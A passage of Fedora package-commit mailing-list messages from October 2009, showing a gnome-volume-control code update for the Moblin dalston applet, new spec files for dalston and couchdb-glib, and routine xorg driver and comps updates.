+        ((PA_MAJOR > (major)) ||                                        \
+         (PA_MAJOR == (major) && PA_MINOR > (minor)) ||                 \
+         (PA_MAJOR == (major) && PA_MINOR == (minor) && PA_MICRO >= (micro)))
+#endif
+
+
 struct GvcChannelMapPrivate
 {
-        guint                 num_channels;
-        pa_channel_position_t positions[PA_CHANNELS_MAX];
-        gdouble               gains[PA_CHANNELS_MAX];
+        pa_channel_map        pa_map;
+        gboolean              pa_volume_is_set;
+        pa_cvolume            pa_volume;
+        gdouble               extern_volume[NUM_TYPES]; /* volume, balance, fade, lfe */
         gboolean              can_balance;
+        gboolean              can_fade;
+        gboolean              has_lfe;
 };
 
 enum {
-        GAINS_CHANGED,
+        VOLUME_CHANGED,
         LAST_SIGNAL
 };
 
@@ -54,32 +65,135 @@ static void     gvc_channel_map_finalize   (GObject            *object);
 
 G_DEFINE_TYPE (GvcChannelMap, gvc_channel_map, G_TYPE_OBJECT)
 
+/* FIXME remove when we depend on a newer PA */
+static int
+gvc_pa_channel_map_has_position (const pa_channel_map *map, pa_channel_position_t p) {
+        unsigned c;
+
+        g_return_val_if_fail(pa_channel_map_valid(map), 0);
+        g_return_val_if_fail(p < PA_CHANNEL_POSITION_MAX, 0);
+
+        for (c = 0; c < map->channels; c++)
+                if (map->map[c] == p)
+                        return 1;
+
+        return 0;
+}
+
[...2798 lines suppressed...]
 
+gboolean
+gvc_mixer_stream_is_running (GvcMixerStream *stream)
+{
+        if (stream->priv->change_volume_op == NULL)
+                return FALSE;
+
+        if ((pa_operation_get_state(stream->priv->change_volume_op) == PA_OPERATION_RUNNING))
+                return TRUE;
+
+        pa_operation_unref(stream->priv->change_volume_op);
+        stream->priv->change_volume_op = NULL;
+
+        return FALSE;
+}
+
 static void
 gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
 {
@@ -510,7 +706,8 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
         gobject_class->set_property = gvc_mixer_stream_set_property;
         gobject_class->get_property = gvc_mixer_stream_get_property;
 
-        klass->change_volume = gvc_mixer_stream_real_change_volume;
+        klass->push_volume = gvc_mixer_stream_real_push_volume;
+        klass->change_port = gvc_mixer_stream_real_change_port;
         klass->change_is_muted = gvc_mixer_stream_real_change_is_muted;
 
         g_object_class_install_property (gobject_class,
@@ -546,7 +743,7 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
                                                              "Volume",
                                                              "The volume for this stream",
                                                              0, G_MAXULONG, 0,
-                                                             G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+                                                             G_PARAM_READWRITE));
         g_object_class_install_property (gobject_class,
                                          PROP_DECIBEL,
                                          g_param_spec_double ("decibel",
@@ -604,6 +801,20 @@ gvc_mixer_stream_class_init (GvcMixerStreamClass *klass)
                                                                "Whether stream's role is to play an event",
                                                                FALSE,
                                                                G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+        g_object_class_install_property (gobject_class,
+                                         PROP_IS_VIRTUAL,
+                                         g_param_spec_boolean ("is-virtual",
+                                                               "is virtual stream",
+                                                               "Whether the stream is virtual",
+                                                               FALSE,
+                                                               G_PARAM_READWRITE|G_PARAM_CONSTRUCT));
+        g_object_class_install_property (gobject_class,
+                                         PROP_PORT,
+                                         g_param_spec_string ("port",
+                                                              "Port",
+                                                              "The name of the current port for this stream",
+                                                              NULL,
+                                                              G_PARAM_READWRITE));
         g_type_class_add_private (klass, sizeof (GvcMixerStreamPrivate));
 }
 
@@ -611,7 +822,14 @@ static void
 gvc_mixer_stream_init (GvcMixerStream *stream)
 {
         stream->priv = GVC_MIXER_STREAM_GET_PRIVATE (stream);
+}
 
+static void
+free_port (GvcMixerStreamPort *p)
+{
+        g_free (p->port);
+        g_free (p->human_port);
+        g_free (p);
 }
 
 static void
@@ -638,5 +856,20 @@ gvc_mixer_stream_finalize (GObject *object)
         g_free (mixer_stream->priv->icon_name);
         mixer_stream->priv->icon_name = NULL;
 
+        g_free (mixer_stream->priv->port);
+        mixer_stream->priv->port = NULL;
+
+        g_free (mixer_stream->priv->human_port);
+        mixer_stream->priv->human_port = NULL;
+
+        g_list_foreach (mixer_stream->priv->ports, (GFunc) free_port, NULL);
+        g_list_free (mixer_stream->priv->ports);
+        mixer_stream->priv->ports = NULL;
+
+       if (mixer_stream->priv->change_volume_op) {
+               pa_operation_unref(mixer_stream->priv->change_volume_op);
+               mixer_stream->priv->change_volume_op = NULL;
+       }
+
         G_OBJECT_CLASS (gvc_mixer_stream_parent_class)->finalize (object);
 }
diff --git a/libgvc/gvc-mixer-stream.h b/libgvc/gvc-mixer-stream.h
index 2848146..4ae2d34 100644
--- a/libgvc/gvc-mixer-stream.h
+++ b/libgvc/gvc-mixer-stream.h
@@ -48,37 +48,52 @@ typedef struct
         GObjectClass           parent_class;
 
         /* vtable */
-        gboolean (*change_volume)   (GvcMixerStream *stream,
-                                     guint           volume);
+        gboolean (*push_volume)     (GvcMixerStream *stream,
+                                     gpointer *operation);
         gboolean (*change_is_muted) (GvcMixerStream *stream,
                                      gboolean        is_muted);
+        gboolean (*change_port)     (GvcMixerStream *stream,
+                                     const char     *port);
 } GvcMixerStreamClass;
 
+typedef struct
+{
+        char *port;
+        char *human_port;
+        guint priority;
+} GvcMixerStreamPort;
+
 GType               gvc_mixer_stream_get_type        (void);
 
 pa_context *        gvc_mixer_stream_get_pa_context  (GvcMixerStream *stream);
 guint               gvc_mixer_stream_get_index       (GvcMixerStream *stream);
 guint               gvc_mixer_stream_get_id          (GvcMixerStream *stream);
 GvcChannelMap *     gvc_mixer_stream_get_channel_map (GvcMixerStream *stream);
+GvcMixerStreamPort *gvc_mixer_stream_get_port        (GvcMixerStream *stream);
+const GList *       gvc_mixer_stream_get_ports       (GvcMixerStream *stream);
+gboolean            gvc_mixer_stream_change_port     (GvcMixerStream *stream,
+                                                      const char     *port);
 
-guint               gvc_mixer_stream_get_volume      (GvcMixerStream *stream);
+pa_volume_t         gvc_mixer_stream_get_volume      (GvcMixerStream *stream);
 gdouble             gvc_mixer_stream_get_decibel     (GvcMixerStream *stream);
-gboolean            gvc_mixer_stream_change_volume   (GvcMixerStream *stream,
-                                                      guint           volume);
+gboolean            gvc_mixer_stream_push_volume     (GvcMixerStream *stream);
+pa_volume_t         gvc_mixer_stream_get_base_volume (GvcMixerStream *stream);
 
 gboolean            gvc_mixer_stream_get_is_muted    (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_get_can_decibel (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_change_is_muted (GvcMixerStream *stream,
                                                       gboolean        is_muted);
+gboolean            gvc_mixer_stream_is_running      (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_name        (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_icon_name   (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_description (GvcMixerStream *stream);
 const char *        gvc_mixer_stream_get_application_id (GvcMixerStream *stream);
 gboolean            gvc_mixer_stream_is_event_stream (GvcMixerStream *stream);
+gboolean            gvc_mixer_stream_is_virtual      (GvcMixerStream *stream);
 
 /* private */
 gboolean            gvc_mixer_stream_set_volume      (GvcMixerStream *stream,
-                                                      guint           volume);
+                                                      pa_volume_t     volume);
 gboolean            gvc_mixer_stream_set_decibel     (GvcMixerStream *stream,
                                                       gdouble         db);
 gboolean            gvc_mixer_stream_set_is_muted    (GvcMixerStream *stream,
@@ -93,8 +108,16 @@ gboolean            gvc_mixer_stream_set_icon_name   (GvcMixerStream *stream,
                                                       const char     *name);
 gboolean            gvc_mixer_stream_set_is_event_stream (GvcMixerStream *stream,
                                                           gboolean is_event_stream);
+gboolean            gvc_mixer_stream_set_is_virtual  (GvcMixerStream *stream,
+                                                      gboolean is_event_stream);
 gboolean            gvc_mixer_stream_set_application_id (GvcMixerStream *stream,
                                                          const char *application_id);
+gboolean            gvc_mixer_stream_set_base_volume (GvcMixerStream *stream,
+                                                      pa_volume_t     base_volume);
+gboolean            gvc_mixer_stream_set_port        (GvcMixerStream *stream,
+                                                      const char     *port);
+gboolean            gvc_mixer_stream_set_ports       (GvcMixerStream *stream,
+                                                      GList          *ports);
 
 G_END_DECLS
 
diff --git a/tests/test-gvc.c b/tests/test-gvc.c
index 855d428..4f2a6e1 100644
--- a/tests/test-gvc.c
+++ b/tests/test-gvc.c
@@ -47,7 +47,7 @@ _mixer_control_default_sink_changed_cb (GvcMixerControl *control,
   app->default_sink = gvc_mixer_control_get_default_sink (app->control);
   g_signal_connect (app->default_sink,
                     "notify::volume",
-                    _stream_volume_notify_cb,
+                    G_CALLBACK (_stream_volume_notify_cb),
                     app);
 }
 
@@ -68,7 +68,7 @@ main (int    argc,
   g_type_init ();
 
   app = g_new0 (GvcTestApp, 1);
-  app->control = gvc_mixer_control_new ();
+  app->control = gvc_mixer_control_new ("Dalston Volume Test Application");
   g_signal_connect (app->control,
                     "default-sink-changed",
                     _mixer_control_default_sink_changed_cb,
-- 
1.6.2.5



--- NEW FILE dalston.spec ---
# Creation of the tarball as follows:
# wget http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
# tar xf %{name}-%{version}.tar.bz2
# cd %{name}-%{version}
# patch -p1 dalston-nbtk-1.2.patch
# patch -p1 0001-Update-to-latest-gnome-volume-control-code.patch
# make dist

Name:          dalston
Version:       0.1.8
Release:       1%{?dist}
Summary:       Moblin System Information Icons

Group:         System Environment/Libraries
License:       LGPLv2 and GPLv2+
URL:           http://www.moblin.org/
Source0:       %{name}-%{version}.tar.gz
# Patches are applied during creation of 'make dist' tarball above. Are included here for reference
Patch0:        0001-Update-to-latest-gnome-volume-control-code.patch
BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: dbus-glib-devel
BuildRequires: GConf2-devel
BuildRequires: gtk2-devel
BuildRequires: pulseaudio-libs-devel
BuildRequires: libcanberra-devel
BuildRequires: mutter-moblin-devel
BuildRequires: nbtk-devel
BuildRequires: libnotify-devel
BuildRequires: pkgconfig
BuildRequires: intltool
BuildRequires: gettext

%description
System information icons for Moblin including volume and power 
management applets.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING README
%{_sysconfdir}/xdg/autostart/*
%{_bindir}/dalston-power-applet
%{_bindir}/dalston-volume-applet
%{_datadir}/dalston

%changelog
* Tue Oct  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.8-1
- new upstream 0.1.8 release

* Sat Oct  3 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-3
- make dist tarball creation

* Sun Sep 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-2
- Add patch from upstream for nbtk-1.2 and latest g-v-c

* Mon Sep 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.6-1
- new upstream 0.1.6 release, review updates

* Wed Sep  9 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
- new upstream 0.1.5 release

* Tue Aug 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.2-1
- new upstream 0.1.2 release

* Wed Aug 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.0-1
- new upstream 0.1.0 release

* Tue Aug 11 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.29-2
- Updates from review request

* Sun Jul 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.29-1
- New 0.0.29 upstream release

* Mon Jul  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.27-1
- New 0.0.27 upstream release, updates from initial review

* Thu Jun 18 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.25-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:59:32 -0000	1.1
+++ .cvsignore	8 Oct 2009 06:08:08 -0000	1.2
@@ -0,0 +1 @@
+dalston-0.1.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:59:33 -0000	1.1
+++ sources	8 Oct 2009 06:08:08 -0000	1.2
@@ -0,0 +1 @@
+62e097ec92f2ed09110ccbf6cdadfa3a  dalston-0.1.8.tar.gz



From whot at fedoraproject.org  Thu Oct  8 06:18:08 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Thu,  8 Oct 2009 06:18:08 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-11 xorg-x11-server.spec, 1.461,
	1.462 xserver-1.6.1-mousedrivers.patch, 1.1, 1.2
Message-ID: <20091008061808.9551311C0267@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-server/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9729

Modified Files:
	xorg-x11-server.spec xserver-1.6.1-mousedrivers.patch 
Log Message:
* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.6.4-0.3
- xserver-1.6.1-mousedrivers.patch: fix typo causing invalid memory access
  (#522936)



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-11/xorg-x11-server.spec,v
retrieving revision 1.461
retrieving revision 1.462
diff -u -p -r1.461 -r1.462
--- xorg-x11-server.spec	23 Sep 2009 06:08:45 -0000	1.461
+++ xorg-x11-server.spec	8 Oct 2009 06:18:08 -0000	1.462
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.6.4
-Release:   0.2%{?dist}
+Release:   0.3%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -535,6 +535,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.6.4-0.3
+- xserver-1.6.1-mousedrivers.patch: fix typo causing invalid memory access
+  (#522936)
+
 * Wed Sep 23 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.6.4-0.2
 - xserver-1.6.3-coreevents.patch: dont send events for devices with
   SendCoreEvents off.

xserver-1.6.1-mousedrivers.patch:
 xf86Config.c |   26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

Index: xserver-1.6.1-mousedrivers.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-11/xserver-1.6.1-mousedrivers.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xserver-1.6.1-mousedrivers.patch	25 May 2009 00:01:27 -0000	1.1
+++ xserver-1.6.1-mousedrivers.patch	8 Oct 2009 06:18:08 -0000	1.2
@@ -59,7 +59,7 @@ index 2ecb639..844e04a 100644
  				  xf86configptr->conf_input_lst);
 -	if (!confInput) {
 -	    confInput = xf86findInputByDriver("mouse",
-+	while (driver && !confInput) {
++	while (*driver && !confInput) {
 +	    confInput = xf86findInputByDriver(*driver,
  					      xf86configptr->conf_input_lst);
 +	    driver++;



From pbrobinson at fedoraproject.org  Thu Oct  8 06:20:29 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:20:29 +0000 (UTC)
Subject: rpms/couchdb-glib/devel couchdb-glib.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008062029.8E97B11C0299@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11081/devel

Modified Files:
	.cvsignore sources 
Added Files:
	couchdb-glib.spec import.log 
Log Message:
- Initial import



--- NEW FILE couchdb-glib.spec ---
Name:           couchdb-glib
Version:        0.5.1
Release:        1%{?dist}
Summary:        A glib api to access CouchDB servers

Group:          System Environment/Libraries
License:        LGPLv2
URL:            http://www.gnome.org/
Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.5/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: json-glib-devel
BuildRequires: libuuid-devel
BuildRequires: libsoup-devel
BuildRequires: openssl-devel
BuildRequires: gettext

%description
CouchDB-GLib is a GLib-based API to access CouchDB servers
(http://couchdb.apache.org), a replication/synchronization 
schema-free database of JSON documents, used in online services 
like Midgard.

%package devel
Summary: Development package for %{name}
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
Requires: pkgconfig

%description devel
Files for development with %{name}.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

#Remove libtool archives.
find %{buildroot} -name '*.la' -exec rm -f {} ';'

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%doc LICENSE README NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/couchdb-glib-1.0/
%{_libdir}/pkgconfig/couchdb-glib-1.0.pc
%{_libdir}/*.so

%changelog
* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.1-1
- Update to 0.5.1 release

* Mon Oct  5 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.0-1
- Initial packaging


--- NEW FILE import.log ---
couchdb-glib-0_5_1-1_fc12:HEAD:couchdb-glib-0.5.1-1.fc12.src.rpm:1254982612


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:01:33 -0000	1.1
+++ .cvsignore	8 Oct 2009 06:20:29 -0000	1.2
@@ -0,0 +1 @@
+couchdb-glib-0.5.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:01:33 -0000	1.1
+++ sources	8 Oct 2009 06:20:29 -0000	1.2
@@ -0,0 +1 @@
+0144702c85e691e34b790e0223bf58d5  couchdb-glib-0.5.1.tar.bz2



From whot at fedoraproject.org  Thu Oct  8 06:20:38 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Thu,  8 Oct 2009 06:20:38 +0000 (UTC)
Subject: rpms/xorg-x11-drv-evdev/F-12 .cvsignore, 1.39, 1.40 sources, 1.39, 
	1.40 xorg-x11-drv-evdev.spec, 1.61, 1.62
Message-ID: <20091008062038.B860411C0299@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11168

Modified Files:
	.cvsignore sources xorg-x11-drv-evdev.spec 
Log Message:
* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99.2-1
- evdev 2.2.99.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	23 Sep 2009 09:33:20 -0000	1.39
+++ .cvsignore	8 Oct 2009 06:20:38 -0000	1.40
@@ -1 +1 @@
-xf86-input-evdev-20090923.tar.bz2
+xf86-input-evdev-2.2.99.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	23 Sep 2009 09:33:21 -0000	1.39
+++ sources	8 Oct 2009 06:20:38 -0000	1.40
@@ -1 +1 @@
-e93818c4185ebb88cb03f86893b09dce  xf86-input-evdev-20090923.tar.bz2
+2412a5d422169e79bde62b8362bc70b7  xf86-input-evdev-2.2.99.2.tar.bz2


Index: xorg-x11-drv-evdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/F-12/xorg-x11-drv-evdev.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- xorg-x11-drv-evdev.spec	23 Sep 2009 09:33:21 -0000	1.61
+++ xorg-x11-drv-evdev.spec	8 Oct 2009 06:20:38 -0000	1.62
@@ -2,19 +2,19 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir	%{moduledir}/input
 
-%define gitdate 20090923
+#define gitdate 20090923
 
 Summary:    Xorg X11 evdev input driver
 Name:	    xorg-x11-drv-evdev
-Version:    2.2.99
-Release:    8.%{gitdate}%{?dist}
+Version:    2.2.99.2
+Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
 Group:	    User Interface/X Hardware Support
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
-Source0:    %{tarball}-%{gitdate}.tar.bz2
+Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
 Source1:    make-git-snapshot.sh
 Source2:    commitid
 
@@ -31,8 +31,8 @@ Requires:  xkeyboard-config >= 1.4-1
 X.Org X11 evdev input driver.
 
 %prep
-%setup -q -n %{tarball}-%{gitdate}
-#%setup -q -n %{tarball}-%{version}
+#%setup -q -n %{tarball}-%{gitdate}
+%setup -q -n %{tarball}-%{version}
 
 %build
 autoreconf -v --install || exit 1
@@ -71,6 +71,9 @@ X.Org X11 evdev input driver development
 
 
 %changelog
+* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99.2-1
+- evdev 2.2.99.2
+
 * Wed Sep 23 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99-8.20090923
 - Update to today's git master (fixes wheel emulation)
 



From pbrobinson at fedoraproject.org  Thu Oct  8 06:23:53 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:23:53 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.148,1.149
Message-ID: <20091008062353.CD68A11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11996

Modified Files:
	comps-f12.xml.in 
Log Message:
- Add dalston to Moblin


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- comps-f12.xml.in	6 Oct 2009 20:37:06 -0000	1.148
+++ comps-f12.xml.in	8 Oct 2009 06:23:52 -0000	1.149
@@ -4313,6 +4313,7 @@
     <packagelist>
       <packagereq type="mandatory">bisho</packagereq>
       <packagereq type="mandatory">bognor-regis</packagereq>
+      <packagereq type="mandatory">dalston</packagereq>
       <packagereq type="mandatory">moblin-cursor-theme</packagereq>
       <packagereq type="mandatory">moblin-gtk-engine</packagereq>
       <packagereq type="mandatory">moblin-icon-theme</packagereq>



From pbrobinson at fedoraproject.org  Thu Oct  8 06:25:01 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:25:01 +0000 (UTC)
Subject: rpms/couchdb-glib/devel import.log,1.1,NONE
Message-ID: <20091008062501.97F6C11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12893

Removed Files:
	import.log 
Log Message:
- remove import.log


--- import.log DELETED ---



From pbrobinson at fedoraproject.org  Thu Oct  8 06:26:12 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu,  8 Oct 2009 06:26:12 +0000 (UTC)
Subject: rpms/couchdb-glib/F-12 couchdb-glib.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091008062612.E488811C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/couchdb-glib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13307

Modified Files:
	.cvsignore sources 
Added Files:
	couchdb-glib.spec 
Log Message:
- Initial F-12 build


--- NEW FILE couchdb-glib.spec ---
Name:           couchdb-glib
Version:        0.5.1
Release:        1%{?dist}
Summary:        A glib api to access CouchDB servers

Group:          System Environment/Libraries
License:        LGPLv2
URL:            http://www.gnome.org/
Source0:        ftp://ftp.gnome.org/pub/gnome/sources/%{name}/0.5/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: json-glib-devel
BuildRequires: libuuid-devel
BuildRequires: libsoup-devel
BuildRequires: openssl-devel
BuildRequires: gettext

%description
CouchDB-GLib is a GLib-based API to access CouchDB servers
(http://couchdb.apache.org), a replication/synchronization 
schema-free database of JSON documents, used in online services 
like Midgard.

%package devel
Summary: Development package for %{name}
Group: Development/Libraries
Requires: %{name} = %{version}-%{release}
Requires: pkgconfig

%description devel
Files for development with %{name}.

%prep
%setup -q

%build
%configure --disable-static
make %{?_smp_mflags} V=1

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} INSTALL='install -p'

#Remove libtool archives.
find %{buildroot} -name '*.la' -exec rm -f {} ';'

%clean
rm -rf %{buildroot}

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files
%defattr(-,root,root,-)
%doc LICENSE README NEWS
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/couchdb-glib-1.0/
%{_libdir}/pkgconfig/couchdb-glib-1.0.pc
%{_libdir}/*.so

%changelog
* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.1-1
- Update to 0.5.1 release

* Mon Oct  5 2009 Peter Robinson <pbrobinson at gmail.com> 0.5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:01:33 -0000	1.1
+++ .cvsignore	8 Oct 2009 06:26:12 -0000	1.2
@@ -0,0 +1 @@
+couchdb-glib-0.5.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/couchdb-glib/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:01:33 -0000	1.1
+++ sources	8 Oct 2009 06:26:12 -0000	1.2
@@ -0,0 +1 @@
+0144702c85e691e34b790e0223bf58d5  couchdb-glib-0.5.1.tar.bz2



From bskeggs at fedoraproject.org  Thu Oct  8 06:29:04 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 06:29:04 +0000 (UTC)
Subject: rpms/xorg-x11-drv-nouveau/F-12 .cvsignore, 1.48,
	1.49 nouveau-bicubic-2x.patch, 1.16,
	1.17 nouveau-multiple-xserver.patch, 1.18,
	1.19 nouveau-tile7000.patch, 1.6, 1.7 sources, 1.49,
	1.50 xorg-x11-drv-nouveau.spec, 1.61, 1.62
Message-ID: <20091008062904.D909B11C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14089

Modified Files:
	.cvsignore nouveau-bicubic-2x.patch 
	nouveau-multiple-xserver.patch nouveau-tile7000.patch sources 
	xorg-x11-drv-nouveau.spec 
Log Message:
* Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-14.20091008git3f020b0
- update from upstream, fixes various issues, especially with recent xservers



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	29 Sep 2009 01:38:15 -0000	1.48
+++ .cvsignore	8 Oct 2009 06:29:02 -0000	1.49
@@ -1 +1 @@
-xf86-video-nouveau-0.0.15-20090929gitdd8339f.tar.bz2
+xf86-video-nouveau-0.0.15-20091008git3f020b0.tar.bz2

nouveau-bicubic-2x.patch:
 nv30_xv_tex.c |    2 +-
 nv40_xv_tex.c |    3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

Index: nouveau-bicubic-2x.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-bicubic-2x.patch,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- nouveau-bicubic-2x.patch	29 Sep 2009 01:38:15 -0000	1.16
+++ nouveau-bicubic-2x.patch	8 Oct 2009 06:29:02 -0000	1.17
@@ -1,4 +1,4 @@
-From 0c60f12c250e244d5d6a245c0df3b941a176aa59 Mon Sep 17 00:00:00 2001
+From a3be167495bdf7149c2a16ee5ad87e532e27191c Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <skeggsb at beleth.localdomain>
 Date: Mon, 4 May 2009 17:04:34 +1000
